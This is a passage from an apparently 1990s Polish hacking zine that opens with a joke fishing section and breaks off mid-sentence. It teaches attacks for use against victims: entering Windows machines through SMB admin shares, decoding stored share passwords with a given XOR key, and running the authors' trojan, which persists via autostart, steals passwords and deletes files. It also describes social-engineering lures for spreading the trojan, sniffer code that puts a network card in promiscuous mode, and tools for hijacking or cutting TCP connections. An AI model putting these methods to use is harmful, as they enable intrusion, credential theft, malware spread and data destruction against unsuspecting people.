home *** CD-ROM | disk | FTP | other *** search
- Witam w pierwszym (byµ mo┐e ostatnim) FAQ (w│asciwie to ┐adne FAQ, bardziej
- HOWTO) duetu Permission Denied sk│adaj▒cego siΩ z Maxia i Pimposha. Dali╢my
- tu troche rzeczy kt≤rych siΩ nauczyli╢my w naszej niezbyt d│ugiej karierze.
- Byµ mo┐e znasz te numery,byµ mo┐e nie od nas, byµ mo┐e nawet hacking wog≤le
- CiΩ nie interesuje, ale w ko±cu nikt Ci nie ka┐e tego czytaµ. No wiΩc spis:
-
- 0. Wprowadzenie (by pimposh)
- 0.1 Jak haczyµ by wyhaczyµ
- 0.2 Epilog
- 0.3 Co zrobiµ jak CiΩ stra┐ przybrze┐na z│apie
- 1. Rozwalanie windy
- 1.1 Administracja zdalna i co z tego wynika (Pimposh) (jeszcze nie ma)
- 1.2 Let's dance Samba (Maxiu)
- 1.3 Co mo┐na wyci▒gn▒µ ciekawego z rejestr≤w (Maxiu)
- 1.4 Uniwersalny Overtaker do windows≤w czyli
- Prisoner of Gates System (pogs.exe by Maxiu)
- 1.5 R≤┐ne tricki z pogsem (Maxiu)
- 2. Sniffing i spoofing
- 2.1 LinSniff czyli najprostsza droga do hase│ek (Maxiu)
- 2.2 Wielkie zamieszanie na kablu, czyli czemu
- nagle wyszed│em z irca (Maxiu)
- 3. Troche exploit≤w
- 3.1 Xokienka (Maxiu)
- 4. Tylne drzwi, czyli co mi zrobisz jak mnie z│apiesz
- 4.1 Teoria prostych backdoork≤w (Maxiu)
- 4.2 TCP-wrapper ciΩ uchroni (od wykrycia :) (Maxiu)
- 4.3 CGI backdoor
- 4.4 Suid bash dla wybranych
- 4.5 Aliasy pocztowe
- 5. (Punkt wyciΩty ze wzglΩdu na mierne przygotowanie)
- 6. No nie wiem gdzie te umie╢ciµ
- 6.1 DCCHiJacker (Maxiu)
- 6.2 Przenoszenie bez ftpa (Maxiu)
- 6.3 Czyszczenie wtmp (Maxiu) (jeszcze nie ma)
- APPENDIX A. Disclaimer
- APPENDIX B. Greets from Maxiu
- APPENDIX C. Greets from Pimposh (jeszcze nie ma)
- APPENDIC D. Historia mojego ┐ycia (ale nie dzi╢ ;)
-
- 0.1 jak haczyc by wyhaczyc
-
- Dzie± dobry. Jak m≤wi punkt 1 w tym artykule bΩdziemy my╢lec jak haczyµ
- ┐eby wyhaczyc. Oczywi╢cie dla niewtajemniczonych dodam ┐e chodzi nam gl≤wnie
- o po│owy rybackie gdy┐ jest to zajΩcie coprawda pracoch│onne, ale daj▒ce
- korzy╢ci w postaci ryb do jedzenia. Zacznijmy od tego co i dzie mo┐emy
- haczyµ. wiec tak:
- - haczyc mo┐na prawie wszΩdzie gdzie jest zbiornik cieczy (moczu, ka│u┐y,
- toaleta)
- - aby haczyc nie trzeba posiadaµ uprawnie± hakera, nale┐y posiadaµ jedynie
- sw≤j w│asny stuff o kt≤rym napiszΩ w dalszej czΩ╢ci
- - mo┐na haczyµ prawie wszystko ale g│≤wnie nale┐y skoncentrowaµ siΩ na
- rybach gdy┐ one s▒ najwa┐niejsze
- - haczenie dozwolone jest od lat 12
- - je┐eli nie haczysz to nie psuj zabawy innym
- - jezeli haczysz to daj innym te┐ pohaczyµ na twoim terenie
- - ryby w standardzie IPv6 sa nieobs│ugiwane przez protoko│y trasmisji
- ┐y│ki (1)
- - je┐eli ju┐ wyhakujemy co by│o, oskrobiemy rybΩ lub inny po│≤w z
- │usek/kupy/itp to nale┐y po sobie posprz▒taµ
- To tyle o og≤lnych zasadach haczenia. Teraz jak haczyc ┐eby wyhaczyµ.
- Oczywi╢cie do haczenia potrzebny jest stuff. Stuff do haczenia dzielimy na:
- - system transmisji miΩdzy │ebkiem a j▒drem
- - haki (tu chyba specem jest #hackpl/#lublin - martinez (BuraQ Tim))
- - main frame (np. wΩdka ?)
- O systemie transakcji wiele napisaµ nie mozna, aczkolwiek jego budowa nie
- jest skomplikowana, chodzi tu poprostu o transmisjΩ danych binarnych po
- ┐y│ce rozmiar 6 miΩdzy │ebkiem (ko±c≤wk▒ przedni▒ main framu a j▒drem czyli
- szpula). Natomiast haki to rzecz wa┐na, od nich zale┐y wiele rzeczy:
- - im mniejszy hak tym lepszy
- - twardszy i nowszy hak dzia│a na wiΩkszych obszarach
- - niekt≤re haki s▒ niezbadane wiΩc ich u┐ywanie grozi niebezpiecze±stwem
- Haki og≤lnie dzielimy na:
- - tytanowo-molibdenowe = charakteryzuj▒ siΩ dobrym stosunkiem ceny do
- mo┐liwo╢ci, na nie mo┐na z│apaµ wiele po│owu
- - miedziane = dobre na pocz▒tek
- - aluminiowe = g│≤wnie z teren≤w by│ego ZSRR, miΩkkie, ale te z lat
- 1986-1992 z miejsc w promieniu 100 kilometr≤w od Chernobyla s▒ wyj▒tkowo
- dobre - maj▒ wade jednak, poniewa┐ czΩsto bywa ┐e ich w│a╢ciciele z
- niewiadomych powod≤w umieraj▒ na bia│aczkΩ
- - plastikowe = lamah!, to dla dzieci
- TaK. Wiemy ju┐ co potrzebne jest nam do haczenia. Nie wiemy tylko o jakiej
- porze. Ano najlepsze wyniki osi▒ga siΩ podczas po│ow≤w nocnych ewentualnie
- wczesnym porankiem. Teraz musimy siΩ dowiedzieµ jak podej╢µ do │owiska.
- Najwa┐niejsze jest to ┐eby podej╢µ w miarΩ cicho, wtedy kiedy wszyscy
- ╢pia etc. Najpierw nale┐y og≤lnie spenetrowaµ teren ┐eby wiedzieµ co siΩ │owi.
- Je┐eli nie wiemy co wystΩpuje na danym terenie nale┐y spojrzeµ do gazety
- MALY W╩DKARZ, do sekcji mapy. Znajdziemy tam napewno nasze │owisko i tym samym
- dowiemy siΩ co mo┐na tu z│owiµ. Ah. Zapomnia│em o przynΩcie. Czasami wymagane
- jest za│o┐enie na haka przynΩty. Mo┐na j▒ zrobiµ albo z kupy, ale powinna byµ
- w miarΩ ╢wie┐a. Mo┐na te┐ j▒ zrobiµ z zaschniΩtych wymiocin, element≤w
- wymiotowanej marchewki lub groszku, ale uprzedzam - to mo┐e byµ aprzyjemne.
- Teraz zajmiemy siΩ najwa┐niejszym, czyli jak i co robiµ ┐eby odnie╢µ sukces:
- 1) idziemy na │owisko
- 2) penetrujemy teren
- 3) je┐eli nie widaµ kokurencji zarzucamy haki najlepiej jak umiemy
- 4) patience is a virtue ((c) lcamtuf)
- 5) zadowoleni z wynik≤w wracamy do domu
-
- 0.2 Epilog
-
- Oczywi╢cie problem hak≤w i hakerowania nie zosta│ tu w pe│ni rozwiniΩty,
- jedynie przedstawi│em jego og≤lne zarysy, byµ mo┐e przyda siΩ komu╢ z was,
- podczas w│asnych po│ow≤w. aaa. I jeszcze jeden punkt:
-
- 0.3 Co zrobiµ jak stra┐ przybrze┐na ciΩ z│apie
-
- A Oczywi╢cie nie ka┐dy lubi rybak≤w. WiΩc czΩsto siΩ zda┐a ┐e odpowiednie
- w│adze zabieraj▒ haki i siΩ pluj▒, wtedy nale┐y albo uciekaµ, albo udawaµ
- wariata kategori D, albo pope│niµ samob≤jstwo gdy┐ g┐ywny za hakerowanie
- bywaj▒ okrutnie wysokie. .... cnd
-
- 1.2 Let's dance Samba
-
- Samba jest pakietem program≤w dla unix≤w obs│uguj▒ca protok≤│ SMB,
- kt≤ry jest wykorzystywany w windach do sporej ilo╢ci czynno╢ci, np.
- transferu plik≤w. Za pomoc▒ smbclient-a mo┐na sporo namieszaµ komu╢
- kto ma skonfigurowane udostΩpnianie plik≤w (a maj▒ to zazwyczaj ci,
- co siedz▒ poza inernetem jeszcze w sieci lokalnej, chocia┐ zdarzaj▒
- siΩ i inni). DostΩp do plik≤w mo┐e byµ zahas│owany, mog▒ byµ pliki
- (a w│asciwie foldery) tylko do odczytu no i r≤┐ne takie przeszkody.
- Ale zazwyczaj pozostaje co╢ w stylu skrzynki na listy z mo┐liwo╢ci▒
- zapisu, wtedy wystarczy namierzyµ kt≤ry to zas≤b i zawaliµ go╢ciowi
- dysk ╢mieciami. Ale mo┐na i podes│aµ mu trojana takiego jak Pimposh
- zrobi│ i pobawiµ siΩ inaczej :) Gdy znamy has│o gostka do zdalnej
- administracji,wchodzimy na zas≤b ADMIN$, podajemy has│o i wy│azimy.
- Teraz sprawdzamy jakie zasoby ma i co widzimy? Ano ┐e dosz│o kilka
- nowych, zazwyczaj C$,A$ i takie tam z dolarem na ko±cu. S▒ to dyski
- kt≤rych nie udostΩpnia│, ale poniewa┐ weszli╢my na ADMIN$, s▒ tylko
- dla nas dostΩpne, has│o do nich jest takie samo jak do ADMIN$ ,wiΩc
- mo┐emy siΩ poruszaµ po ca│ym dysku z mo┐liwo╢ci▒ zapisu! Wystarczy
- kilka motyw≤w w stylu zmiana *.ini czy autoexeca i gostek upieczony
- :)Mo┐na te┐ co╢ wstawiµ do \windows\pulpit\autostart czy podobnego.
- Innym sposobem na wnerwienie bez znania nawet has│a, jest wysy│anie
- setek wiadomo╢ci do WinPopUpa, ale tylko jak ma uruchomiony program
- do ich obierania (NT ma standardowo). No ale nie ma nic za │atwo bo
- trzeba znaµ nazwe komputera:(Zazwyczaj jest to nazwisko w│a╢ciciela
- albo funkcja kompa, ale nie zawsze. Jest spos≤b na pobieranie nazwy
- od samego kompa, ale nie w sambie,trzeba siΩ pos│u┐yµ innym progra-
- mem (Samba Scanner, ale nie jestem pewien). Mo┐na te┐ u┐yµ M$ IE4.0
- kt≤ry ma wbudowane mechanizmu do odczytu przez SMB,podaje siΩ tylko
- IP bez nazwy, wiΩc nazwΩ NAPEWNO da siΩ odczytaµ.
- Na koniec trochΩ sk│adni smbclient-a (najwa┐niejsze opcje):
-
- smbclient \\\\nazwa_kompa\\nazwa_zasobu - najprostszy dostΩp do
- zasobu, uruchamia program podobny do ftp
- smbclient -L nazwa_kompa - podaje spis udostΩpnionych zasob≤w
- smbclient -M nazwa_kompa - wys│anie popupa
-
- Do tego dochodz▒ trzy opcje do ukrywania siΩ:
-
- -n <netbios name> - pod tak▒ nazw▒ bΩdziesz wy╢wietlany w
- monitorze sieci
- -U <username> - i jako taki u┐ytkownik, niekt≤re zasoby s▒
- tylko dla okre╢lonych uzytkownik≤w, wiΩc
- mo┐na siΩ podszywaµ
- -W <workgroup> - "twoja" nazwa grupy roboczej
-
- Je╢li chcesz byµ pewien ┐e nie po│apie siΩ o co chodzi, to mo┐esz
- skasowaµ netwatch.exe czyli monitor sieci.
-
- 1.3 Co mo┐na wyci▒gn▒µ ciekawego z rejestr≤w
-
- Przedewszytskim has│a, has│a i jeszcze raz has│a. Dziwna polityka
- Necrosoftu polega na tym, ┐e prawie wszystkie has│a s▒ umieszczone
- w dw≤ch plikach rejestru (SYSTEM.DAT i USER.DAT) i jeszcze dostΩpne
- dla dowolnego programu.No c≤┐, nie wymagajmy za du┐o od pana Gatesa
- bo napewno mia│ w tym jaki╢ do╢µ g│Ωboko ukryty cel. No wiΩc prawie
- ka┐dy program kt≤ry potrzebuje jakiego╢ has│a, zapisuje go gdzie╢ w
- rejestrze (prawie bo s▒ i inne programy jak wsftp kt≤re zapisuj▒ je
- w osobnych plikach),problem polega na znalezieniu go i odkodowaniu.
- Z bardziej znanych miejsc mo┐na wymieniµ:
-
- Microsoft News & Mail (ten z 95) - w rejestrze
- HKEY_CURRENT_USER\Software\Microsoft\Internet Mail and News\Mail\POP3
- znajduj▒ siΩ rejestry o nazwie serwera pocztowego (np. polbox.com),
- a w nim pola 'Account' kt≤re zawiera nazwΩ konta i 'Password' kt≤re
- ma upragnione hase│ko. Hmmm, zakodowane, ale banaln▒ metod▒ BASE64,
- dekoder do tego napisa│ wojtekka w pascalu jakby kto╢ chcia│.
-
- share-level passwords - s▒ to hase│ka do zasob≤w sambowych
-
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\
- \LanMan\<zas≤b>
- zas≤b to wiadomo co, mamy tam kilka p≤l. Flags i Type zostawmy komu
- innemu, nas interesuj▒ g│≤wnie Path-╢cie┐ka do udostΩpnianego zasobu
- Param1enc - zakodowane has│o do pe│nego dostΩpu, Parm2enc - has│o do
- dostΩpu tylko do czytania. Spos≤b kodowania, jak przysta│o na MSoft,
- nie jest zbyt wymy╢lny. Znam dwa programy do dekodowania, jeden ma
- 883 linie, a drugi 10 :) Wystarczy kolejne znaki zxorowaµ kolejno z
- 0x35, 0x9a, 0x4d, 0xa6, 0x53, 0xa9, 0xd4, 0x6a i otrzymujemy czyste
- hase│ko w ASCII :) Aha, te has│a nie maj▒ dziwnych znaczk≤w i ma│ych
- liter (jakby siΩ komu╢ chcia│o crackowaµ rΩcznie)
-
- Oczywi╢cie jest jeszcze pe│no innych hase│ do odnalezienia, ale nie
- mam program≤w takich jak Eudora czy Outlook wiΩc nie mogΩ ich szukaµ
- Jakby kto╢ trafi│ na nie, to niech mi wy╢le lokacje.
- A teraz ma│y samouczek obs│ugi rejestr≤w. Do zmian rΩcznych s│u┐y
- oczywi╢cie regedit.exe. Mo┐e te┐ byµ u┐ywany do zmian automatycznych
- przez jakich╢ plik z zapisanymi zmianami,ale nie jest to odpowiednie
- rozwi▒zanie, bo delikwentowi pokazujΩ siΩ w pasku ┐e zosta│ zapodany
- a to mo┐e spowodowaµ podejrzenia. Znacznie lepszym wyj╢ciem jest API
- windy w kt≤rym s▒ funkcje do tego przeznaczone. Podam najwa┐niejsze
-
- LONG RegOpenKeyEx(
- HKEY hKey, // handle of open key
- LPCTSTR lpszSubKey, // address of name of subkey to open
- DWORD dwReserved, // reserved
- REGSAM samDesired, // security access mask
- PHKEY phkResult // address of handle of open key
- );
-
- Ta funkcja otwiera rejestr i zwraca jego uchwyt. hKey okre╢la punkt
- widzenia,to znaczy od niego szukany jest rejestr o ╢cie┐ce podanej w
- lpszSubKey.Je╢li chcemy otworzyµ rejestr od pocz▒tku, to trzeba u┐yµ
- w hKey jedn▒ ze standarodwych warto╢ci(g│≤wnie HKEY_LOCAL_MACINE lub
- HKEY_CURRENT_USER ale s▒ i inne, popatrz sobie na pocz▒tku regedita)
- i w lpszSubKey podaµ ╢cie┐ke bez pierwszego cz│onu(hmmm). dwReserved
- ma byµ 0, samDesired najczΩsciej KEY_EXECUTE albo KEY_ALL_ACCESS(gdy
- bΩdziemy co╢ zapisywaµ), a do phkResult funkcja wpisuje uchwyt je╢li
- operacja siΩ powiedzie, a wiemy o tym poniewa┐ funkcja zwraca ERROR_
- SUCCESS jak wszytsko jest git.
- Pola w otwartym rejestrze odczytujemy funkcj▒
-
- LONG RegQueryValueEx(
- HKEY hKey, // handle of key to query
- LPTSTR lpszValueName, // address of name of value to query
- LPDWORD lpdwReserved, // reserved
- LPDWORD lpdwType, // address of buffer for value type
- LPBYTE lpbData, // address of data buffer
- LPDWORD lpcbData // address of data buffer size
- );
-
- Do hKey wpisujemy to co dostali╢my z poprzedniej funkcji,nazwΩ pola
- wpisujemy do lpszValueName, do lpdwReserved NULL (w delphi nil), typ
- jest zwracany w lpdwType(REG_BINARY,REG_DWORD,REG_EXPAND_SZ,REG_SZ),
- lpbData to wska╝nik do bufora o d│ugo╢ci lpcbData (na koniec jest tu
- wpisywana d│ugo╢µ pobranych danych). Tak jak i w innych funkcjach ,
- zwr≤cona warto╢µ m≤wi o b│Ωdzie (ERROR_SUCCESS to brak b│Ωdu).
- Podobnie zapisujΩ siΩ warto╢ci p≤l:
-
- LONG RegSetValueEx(
-
- HKEY hKey, // handle of key to set value for
- LPCTSTR lpValueName, // address of value to set
- DWORD Reserved, // reserved
- DWORD dwType, // flag for value type
- CONST BYTE * lpData, // address of value data
- DWORD cbData // size of value data
- );
-
- Do hKey to co zwykle, do lpValueName nazwΩ pola, Reserved ma byµ 0,
- a w dwType typ pola (takie jak poprzednio). Zawarto╢µ pola umieszcza
- siΩ w buforze i jego adres podajemy w lpData a d│ugo╢µ w cbData.
- Po wykonanych operacjach nale┐y rejestr zamkn▒µ:
-
- LONG RegCloseKey(
-
- HKEY hKey // handle of key to close
- );
-
- Wystarczy do hKey wpisaµ uchwyt. Po tej operacji nie mo┐na ju┐ go
- wykorzystywaµ.
- Z po┐ytecznych innych funkcji pozostaje RegCreateKeyEx i RegEnumKey
- ale nie chce mi siΩ opisywaµ, zobaczcie sobie sami.
-
- 1.4 Uniwersalny Overtaker do windows≤w czyli Prisoner of Gates System
-
- Pewnego dnia zachcia│o mi siΩ napisaµ program, kt≤ry umo┐liwi│by mi
- sterowanie czyj▒╢ wind▒ (co╢ jak in.telnetd). Poniewa┐ nie mam C pod
- winde z wykorzystaniem winsock≤w, to napisa│em go w Delphi (wizualny
- Pascal). No i skromnie przyznam ┐e mi nawet wyszed│ :) Mo┐liwo╢ci ma
- dosyµ spore, jak mi co╢ przychodzi do │ba to rozbudowywujΩ go.Siedzi
- sobie na porcie 500 i nas│uchuje na klienta, niestety nie napisa│em
- go jako serwer wsp≤│bie┐ny wiΩc only one client at a time. Ale nicto
- I tak powinna korzystaµ z niego osoba uprawniona :)Po po│▒czeniu nic
- siΩ nie dzieje, a dok│adniej czeka na has│o. Nie wy╢wietla przedtem
- nic i zrywa po│▒czenie jak has│o by│o b│edne. Zrobi│em tak dlatego,
- ┐e nie chcΩ aby dowolnemu lamerowi ze skanerem port≤w pokazywa│a siΩ
- winetka "Jestem fstrΩtn▒ wind▒, za│atw mnie". No wiΩc po wpisaniu go
- (przedtem has│o by│o sta│e,teraz jest wersja w kt≤rej mo┐na je sobie
- zmieniµ ┐eby nikt nam nie podebra│ ofiary :) ukazuje siΩ nazwa pogsa
- i ┐e "h to help". Od tego propnuje zacz▒µ. Help mam nadziejΩ ┐e jest
- jest czytelny.Z bardziej pokrΩconych komend jest run i jego odmiany.
- Chodzi o to ┐e programy mo┐na uruchamiaµ na r≤┐ne sposoby:
- runa - uruchamia aplikacje, np.jak chcemy ┐eby gostkowi siΩ pokaza│
- netscape czy co╢ innego, po prostu jak chcemy mu to pokazaµ
- runs - najcichsza wersja run, wiΩkszo╢µ program≤w wog≤le sie nie
- poka┐e (ale np.netscape wyskakuje, ale p≤╝niej). Dobre do zawalania
- pamiΩci i procesora. Nie jest wykorzystywane command.com!
- runc - u┐yteczna forma Run, wynik z programu jest kierowany do pliku
- kt≤ry mo┐emy odczytaµ. Nie wszystkie programy daj▒ wynik na stdout,
- np. wiele program≤w w pascalu co ogranicza nieco zastosowanie
- run - pierwsze run, po prostu uruchamia, stara siΩ w postaci
- zminimalizowanej, ale nie zawsze siΩ udaje
- Sorry tyle zamieszania, ale nie znalaz│em tego jedynego sposobu. Do
- odczytu wyj╢cia z runc s│u┐y viewc a do jego kasowania erasec. Je╢li
- go╢ciu ciΩ wkurzy│, to u┐yj "destroy" np. w katalogu \windows,kasuje
- wszystkie pliki. "admin" robi zdaln▒ administracjΩ na has│o "lamer",
- "passm" pobiera has│o z rejestr≤w od IN&M i rozkodowywuje je.Doda│em
- jeszcze "passn" kt≤re POWINNO pobieraµ has│o od netscapea bez dekodu
- ale nie wiem czy dzia│a, nigdzie nie sprawdza│em a spos≤b wzi▒│em z
- rootshella. Pozostaje jeszcze kwesta podania pacjentowi trojana. Ja
- to robi│em zazwyczaj udaj▒c lamera i m≤wi▒c ┐e napisa│em kalkulator
- w delphi i prosi│em o wypr≤bowanie. Gostek uruchamia│ i nic siΩ nie
- dzia│o, wiΩc t│umaczy│em ┐e napewno potrzebuje jakich╢ bibliotek. Na
- tym siΩ ko±czy│ dialog i zaczyna│a zabawa. Ostatnio napisa│em trojca
- Anuke.exe kt≤ry zabezpiecza przed nukiem, ale podstawia pogsa.úadnie
- wygl▒da wiΩc ludzie rozdaj▒ go dalej i jest piknie, s│o±ce ╢wieci :)
- Pogs jest tak napisany ┐e kopiuje siΩ w bezpieczne miejsce, wstawia
- do rejestr≤w do autostarta i nawet po skasowaniu pogs.exe czy innego
- i restarcie kompa, on dalej siedzi i jest gotowy. Do pogsa doda│em
- komendy pobierania i podstawiania pliku, s▒ one trochΩ dziwne, wiΩc
- jeszcze wyt│umaczΩ jak siΩ tym pos│ugiwaµ. Komendy "put" oraz "get"
- otwieraj▒ ponownie port 500. "get" wysy│a przez ten port dane, "put"
- pobiera. Wystarczy wiΩc telnetn▒µ siΩ ponownie na pogsa i dostajemy/
- dostarczamy dane. NIEWYGODNE! Ale chodzi│o mi o mo┐liwo╢µ sterowania
- tylko telnetem. Wygodniejsze jest korzystanie z mojego pomocniczego
- programu "transfer" pod linuxa w C, kt≤ry robi wszystko szybko i │a-
- dnie. Na koniec troche o upgradzie.Poniewa┐ byµmo┐e bΩd▒ nowe wersje
- pogsa, wiΩc do│o┐y│em mo┐liwo╢µ upgrada.Jest to troche skomplikowane
- poniewa┐ w win95 nie da siΩ zapisaµ do pliku kt≤ry jest uruchomiony,
- czyli przes│oniΩcia starej wersji now▒. Dlatego trzeba przez "put"
- przegraµ nowego pogsa w jakie╢ bezpieczne miejsce i szybko wykonaµ:
-
- run nowy_pogs
- k
- q
-
- Spowoduje to uruchomienie nowego, on nie bΩdzie m≤g│ sie zast▒piµ i
- zacznie czekaµ p≤│ minuty. W tym czasie "k" i "q" wy│▒cz▒ ca│kowicie
- star▒ wersjΩ i nowa bΩdzie mog│a siΩ nadpisaµ. Straszne, co nie?
-
- 1.5 R≤┐ne tricki z pogsem
-
- No dobra, ale po co nam ten pogs, kto╢ zapyta. W│a╢ciwie nie wiem:)
- G│≤wnie korzystam z mo┐liwo╢ci odczytu hase│, kilka nowych kont mo┐e
- siΩ przydaµ. Poza tym mo┐na przecie┐ ogl▒daµ pliki tekstowe, takiemu
- jednemu podprowadzi│em nr konta,innemu ciekawe teksty. Mo┐liwo╢ci s▒
- tylko trzeba pomy╢leµ. Chyba najwiΩksze daje run, szczeg≤lnie runc.
- mo┐emy np. zrobiµ
-
- runc net view
- viewc
-
- i wiemy z kim jest gostek w sieci,wtedy przesy│amy innym na skrzynki
- czy inne otwarte zasoby pogsa ze zmienion▒ nazw▒ i tekstem w stylu:
-
- "Franek, obejrzyj to, fajna przegl▒darka do gif≤w. Andrzej"
-
- z podstawionymi imionami z sieci, takim osobom raczej │atwo uwie┐▒ i
- uruchomia, a wtedy :) new victim. Postudiujcie na temat komendy net
- to zobaczycie co mo┐na.
-
- 2.1 LinSniff czyli najprostsza droga do hase│ek
-
- Problem ka┐dy zna, w dowolnym miejscu kabla mo┐na wyci▒gn▒µ z niego
- wszystko co przez niego przechodzi. Rad▒ na to mo┐e byµ switch-eth,
- ale i na to s▒ sposoby. Pewnie u┐ywa│e╢ ju┐ program≤w typu linsniff,
- ich obs│uga jest banalna, a dostarczane informacje bardzo cenne. Ale
- jak to dzia│a? Raczej ma│o u┐ywaj▒cych tego ludzi wie w jaki spos≤b
- to wog≤le dzia│a.
- Zasada jest prosta. Karta sieciowa standardowo przyjmuje z kabla to
- co powinna,tzn. por≤wnuje adres docelowy z nag│≤wka pakietu ze swoim
- przypisanym, niepowtarzalnym numerem 6-bajtowym. Ale wiΩkszo╢µ kart,
- mo┐e nawet wszystkie,da siΩ przestawiµ w specjalny tryb w kt≤rym eth
- przyjmuje wszystkie pakiety z kabla. Ten tryb to Promiscuous receive
- mode(IFF_PROMISC).Oczywi╢cie nie oznacza to ┐e komputer je wszystkie
- wykorzysta i bΩdzie reagowaµ na pakiety nie przeznaczone do niego(np
- nie bΩdzie reagowaµ na pr≤by nawi▒zania po│▒czenia z innym kompem ).
- Te nieodpowiednie pakiety s▒ odrzucane przez j▒dro jako b│Ωdne, ale
- przedtem mo┐emy je odczytaµ :) Niestety nie mo┐na tego robiµ tak jak
- zawsze, poszczeg≤lne datagramy musz▒ byµ analizowane przez sniffera.
- Na pzryk│adzie linsniffa wyt│umaczΩ poszczeg≤lne kroki (lepiej mieµ
- przed sob▒ ╝r≤d│a bo bΩdΩ przytacza│ tylko wa┐niejsze kawa│ki):
- (jeszcze jedno, w tym momencie pad│y mi nerwy i odt▒d tekst nie bΩdzie
- taki r≤wny, wierzcie mi, pisanie tak to koszmar!)
-
- 1. Przestawienie karty w tryb IFF_PROMISC i utworzenie gniazda
- Nale┐y otworzyµ i odpowiednio skonfigurowaµ gniazdo kt≤re bΩdzie
- potem u┐ywane do komunikacji
- fd = socket(AF_INET, SOCK_PACKET, htons(0x800));
- AF_INET oznacza rodzinΩ adres≤w internetu
- SOCK_PACKET oznacza ┐e chcemy pobieraµ poszczeg≤lne pakiety
- 0x800 oznacza ┐e przyjmujemy tylko pakiety o znaczniku 0x800 czyli
- internetowe
- NastΩpnie nale┐y przypisaµ gniazdku odpowiedni interfejs i pobraµ
- informacje o jego stanie
- s = ioctl(fd, SIOCGIFFLAGS, &ifr);
- ifr to struktura ifreq opisuj▒ca interfejs, jej pole ifr_name
- zawiera nazwΩ interfejsu (np. "eth0")
- Teraz najwa┐niejsze, przestawiamy kartΩ w tryb Promiscous
- ifr.ifr_flags |= IFF_PROMISC;
- s = ioctl(fd, SIOCSIFFLAGS, &ifr);
- ifr zawiera teraz ustawiony bit IFF_PROMISC, czyli rz▒damy zmiany
- trybu karty
-
- 2. Przygotowanie bufora na pakiety
- Tworzona jest struktura etherpacket i jest przypisywana do zmiennej
- ep. Struktura ta odtwarza kolejno╢µ nag│≤wk≤w i danych w pakiecie
- ethernetowym (najpierw jest nag│≤wek ethernetowy, potem ip, dalej tcp
- i w ko±cu dane). Dodatkowo ┐eby u│atwiµ dostΩp do nag│≤wk≤w ip oraz
- tcp, ustawiane s▒ zmienne pomocnicze ip i tcp wskazuj▒ce na nag│≤wki.
- ip = (struct iphdr *)(((unsigned long)&ep.ip)-2);
- tcp = (struct tcphdr *)(((unsigned long)&ep.tcp)-2);
- (ale za ch??a nie wiem czemu s▒ przesuniΩte o 2 bajty)
- 3. Utworzenie zmiennej victim opisuj▒cej "ofiarΩ pods│uchu"
- Struktura tej zmiennej zawiera adres i porty nadawcy i odbiorcy, ilo╢µ
- przeczytanych bajt≤w, znacznik aktywno╢ci i czas nadej╢cia pierwszego
- pakietu. Funkcja clear_victim() czy╢ci t▒ strukturΩ. Ten kawa│ek pokazuje
- s│abo╢µ linsniffa, obs│uguje on na raz tylko jeden strumie± tcp, od jego
- nawi▒zania a┐ do wyczerpania limitu czasu TIMEOUT, odczytania limitu
- bajt≤w CAPTLEN lub jego zako±czenia, w tym czasie nie zajmuje siΩ ┐adnymi
- innymi, wiΩc jak w tym czasie otworzy siΩ 100 innych po│▒cze±, linsniff
- je oleje. Oczywi╢cie nie jest trudno przebudowaµ go tak ┐eby by│
- wielopo│▒czeniowy, wystarczy ztablicowaµ zmienn▒ victim, zmieniµ ┐eby
- po odczycie obs│ugiwana by│a odpowiednia pozycja w victim i dodaµ
- bufory wyj╢cia ┐eby nie by│o ╢mieci w pliku (wynik zapisywany po
- zako±czeniu obs│ugi strumienia). Hmm, no trochΩ roboty jest, ale dla
- chc▒cego nic trudnego. Poza tym w ma│ych sieciach o ma│ym ruchu linsniff
- wystarcza.
- 4. Odczytanie pakietu i zanalizowanie go
- Pakiet odczytujemy tak:
- x = read(s, (struct etherpacket *)&ep, sizeof(ep));
- Dalej sprawdzamy czy jest to co nam potrzebne int filter(), czyli
- odrzucamy pakiety nie od ofiary i te z port≤w na kt≤re nie trzeba has│a
- (robi to spora sekwencja if≤w).
- 5. Wypisanie zawarto╢ci datagramu
- Funkcja int printdata(int datalen, char *data) w przejrzystej formie
- zapisuje wynik do pliku.
-
- Ot i ca│a filozofia linsniffa, na jego podstawie mo┐na napisaµ inne fajne
- programy.
-
- 2.2 Wielkie zamieszanie na kablu, czyli czemu nagle wyszed│em z irca
-
- Przegl▒daj▒c kiedy╢ pl.comp.security (nie bluzgaµ, czasami jest co╢
- ciekawego) zobaczy│em pytanie o hijacking. Odpowiedzi by│o pe│no, ale
- jak zwykle wiΩkszo╢µ bezsensu (typu czemu ssh jest lepsze od telneta),
- w jednej jednak by│ adres strony z prac▒ jakiego╢ studenta na ten temat
- (oczywi╢cie po angielsku). Go╢ciu siΩ nazywa Brecht (buahaha :) Claerhout
- (coder@reptile.rug.ac.be). No wiΩc znalaz│em tam dwie sporawe prace m≤wi▒ce
- o spoofingu i sniffingu. Pierwsza m≤wi│a o spoofingu nie╢lepym, a druga o
- ╢lepym. Szczeg≤lnie interesuj▒cy jest ten pierwszy, przeczyta│em go i
- wycio│em nastΩpuj▒ce ╝r≤de│ka:
- sniper-fin.c - program do ╢cinania czyjego╢ po│▒czenia z kontrol▒ sukcesu
- sniper-rst.c - podobnie, ale bez kontroli
- hijack.c - do przejmowania po│▒cze± telnetowych
- spoofit.h - includek zawieraj▒cy serce poprzednich (czyli g│≤wne funkcje)
- Najwa┐niejszy jest oczywi╢cie spoofit.h, w nim siedz▒ procedurki dziΩki
- kt≤remu mo┐na odpicowaµ zajebistego sniffera z mo┐liwo╢ci▒ wp│ywania na
- po│▒czenie. Jest mocno zkomentowany wiΩc nie powinno byµ problem≤w ze
- zrozumieniem. Jednak przy pomocy tych program≤w trudno jest co╢ zrobiµ,
- trzeba niestety znaµ numery port≤w obu stron po│▒czenia, co mo┐e byµ
- samo z siebie dosyµ trudne (musia│em siΩ pytaµ gostka co by│ na irc z
- tego samego kabla o numer portu z jakiego siΩ │▒czy, ten drugi │atwo
- zgadn▒µ 6667). Zacz▒│em wiΩc grzebaµ po ╝r≤d│ach i przerobi│em nieco
- spoofit.h tak aby funkcja wait_packet nie wymaga│a ┐adnych konret≤w.
- Wystarczy podaµ 0 zamiast kt≤rego╢ parametru i bΩdzie pasowaµ pierwszy
- lepszy. Dodatkowo musia│em przerobiµ sniper-fin.c ┐eby uwzglΩdnia│ t▒
- mo┐liwo╢µ. Tak powstal lankill. Wywo│anie ./lankill 0 0 0 0 powoduje
- zerwanie pierwszego aktywnego po│▒czenia TCP na kablu, wywo│uj▒c to w
